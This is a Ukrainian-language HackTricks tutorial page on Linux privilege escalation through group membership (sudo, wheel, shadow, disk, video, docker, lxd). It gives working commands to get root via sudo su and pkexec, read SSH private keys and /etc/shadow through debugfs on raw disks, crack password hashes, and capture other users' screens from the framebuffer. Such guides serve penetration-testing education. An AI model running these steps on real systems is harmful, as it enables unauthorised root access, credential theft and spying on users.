hacktricks/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
2024-03-29 19:49:46 +01:00

11 KiB
Raw Blame History

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Групи Sudo/Admin

PE - Метод 1

Іноді, за замовчуванням (або через необхідність деякого програмного забезпечення) всередині файлу /etc/sudoers ви можете знайти деякі з цих рядків:

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# Allow members of group admin to execute any command
%admin 	ALL=(ALL:ALL) ALL

Це означає, що будь-який користувач, який належить до групи sudo або admin, може виконати будь-яку дію як sudo.

Якщо це так, для отримання прав root ви можете просто виконати:

sudo su

Підвищення привілеїв - Метод 2

Знайдіть всі suid-бінарники та перевірте, чи є серед них бінарний файл Pkexec:

find / -perm -4000 2>/dev/null

Якщо ви виявите, що бінарний файл pkexec є SUID-бінарним і ви належите до групи sudo або admin, ви, ймовірно, зможете виконувати бінарні файли як sudo, використовуючи pkexec. Перевірте вміст:

cat /etc/polkit-1/localauthority.conf.d/*

Тут ви знайдете, які групи мають дозвіл на виконання pkexec і за замовчуванням в деяких дистрибутивах Linux можуть з'явитися деякі з груп sudo або admin.

Для отримання прав root ви можете виконати:

pkexec "/bin/sh" #You will be prompted for your user password

Якщо ви намагаєтеся виконати pkexec і отримуєте цю помилку:

polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

Це не через відсутність дозволів, а через відсутність підключення без GUI. Існує обхідне рішення для цієї проблеми тут: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903. Вам потрібно 2 різні сесії ssh:

{% code title="сесія1" %}

echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session

{% endcode %}

{% code title="сесія2" %}

pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec

{% endcode %}

Група Wheel

Іноді, за замовчуванням у файлі /etc/sudoers ви можете знайти цей рядок:

%wheel	ALL=(ALL:ALL) ALL

Це означає, що будь-який користувач, який належить до групи wheel, може виконати будь-що як sudo.

Якщо це так, щоб стати root, ви можете просто виконати:

sudo su

Група Shadow

Користувачі з групи shadow можуть читати файл /etc/shadow:

-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow

Так, прочитайте файл і спробуйте розшифрувати деякі хеші.

Група диска

Ця привілея майже еквівалентна доступу до root, оскільки ви можете отримати доступ до всіх даних всередині машини.

Файли: /dev/sd[a-z][1-9]

debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

Зверніть увагу, що за допомогою debugfs ви також можете записувати файли. Наприклад, щоб скопіювати /tmp/asd1.txt в /tmp/asd2.txt, ви можете виконати:

debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt

Однак, якщо ви спробуєте записати файли, що належать root наприклад, `/etc/shadow` або `/etc/passwd`, ви отримаєте помилку "Permission denied".

Група відео

Використовуючи команду w, ви можете знайти хто увійшов в систему і отримаєте вивід, схожий на наступний:

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
yossi    tty1                      22:16    5:13m  0.05s  0.04s -bash
moshe    pts/1    10.10.14.44      02:53   24:07   0.06s  0.06s /bin/bash

tty1 означає, що користувач yossi залогінений фізично до терміналу на машині.

Група video має доступ до перегляду виводу екрану. В основному, ви можете спостерігати за екранами. Для цього потрібно захопити поточне зображення на екрані у вигляді сирої даних та отримати роздільну здатність, яку використовує екран. Дані екрану можна зберегти в /dev/fb0, а роздільну здатність цього екрану можна знайти в /sys/class/graphics/fb0/virtual_size.

cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size

Для відкриття сирого зображення ви можете використовувати GIMP, виберіть файл screen.raw та виберіть тип файлу Raw image data:

Потім змініть ширину та висоту на використані на екрані та перевірте різні типи зображень і виберіть той, який краще показує екран:

Група Root

Здається, за замовчуванням члени групи root можуть мати доступ до зміни деяких файлів конфігурації служб або деяких файлів бібліотек або інших цікавих речей, які можуть бути використані для підвищення привілеїв...

Перевірте, які файли можуть змінювати члени групи root:

find / -group root -perm -g=w 2>/dev/null

Група Docker

Ви можете підключити кореневу файлову систему хост-машини до тома екземпляра, тому коли екземпляр запускається, він негайно завантажує chroot в цей том. Це фактично дає вам root-доступ до машини.

{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}

{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}

Група lxc/lxd

lxc - Підвищення привілеїв

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks: